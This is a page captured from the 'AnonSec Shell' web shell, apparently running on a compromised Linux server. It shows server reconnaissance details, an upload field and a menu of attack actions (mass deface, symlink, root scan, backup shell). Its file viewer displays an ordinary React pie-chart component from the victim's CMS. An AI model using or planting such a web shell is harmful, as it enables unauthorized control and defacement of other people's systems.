AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 104.21.79.64 / Your IP : 104.23.197.31 [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON
Directory : /var/app/iqos-cx/cms/components/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/app/iqos-cx/cms/components/PieCahartComponent.jsx

"use client";

import { useMemo } from "react";
import Chart from "react-apexcharts";

const PieChartComponent = ({ labels = [], series = [], colors, width }) => {
    // Default colors if colors prop is not provided
    const defaultColors = [
        "#0C9488", "#16B7A6", "#5FE9D5", "#96F4E5",
        "#7060A5", "#9488BC", "#B8B0D2", "#DBD7E8",
        "#F78A33", "#F9A766", "#FBC499", "#FDE2CC",
        "#AB312E", "#C06562", "#D59896", "#EACCCB",
        "#703126", "#94655C", "#B89892", "#DBCCC9",
    ];

    // Use colors prop if provided, otherwise use defaultColors
    const chartColors = colors || defaultColors;

    // Menggunakan useMemo untuk mencegah opsi dibuat ulang
    const chartOptions = useMemo(() => ({
        chart: {
            type: "pie",
        },
        labels: labels, // Labels dikirim dari props
        legend: {
            position: "bottom",
        },
        colors: chartColors, // Use chartColors here
        responsive: [
            {
                breakpoint: 480,
                options: {
                    chart: {
                        width: "100%",
                    },
                    legend: {
                        position: "bottom",
                    },
                },
            },
        ],
    }), [labels, chartColors]);

    return (
        <div className="flex justify-center items-center h-full w-full">
            <div className={width ? width : "w-[300px] lg:w-[350px] xl:w-[400px]"}>
                <Chart
                    key={Math.random().toString(36).substr(2, 9)}
                    options={chartOptions}
                    series={series} // Data series dikirim dari props
                    type="pie"
                    width="100%"
                />
            </div>
        </div>
    );
};

export default PieChartComponent;

Anon7 - 2022
AnonSec Team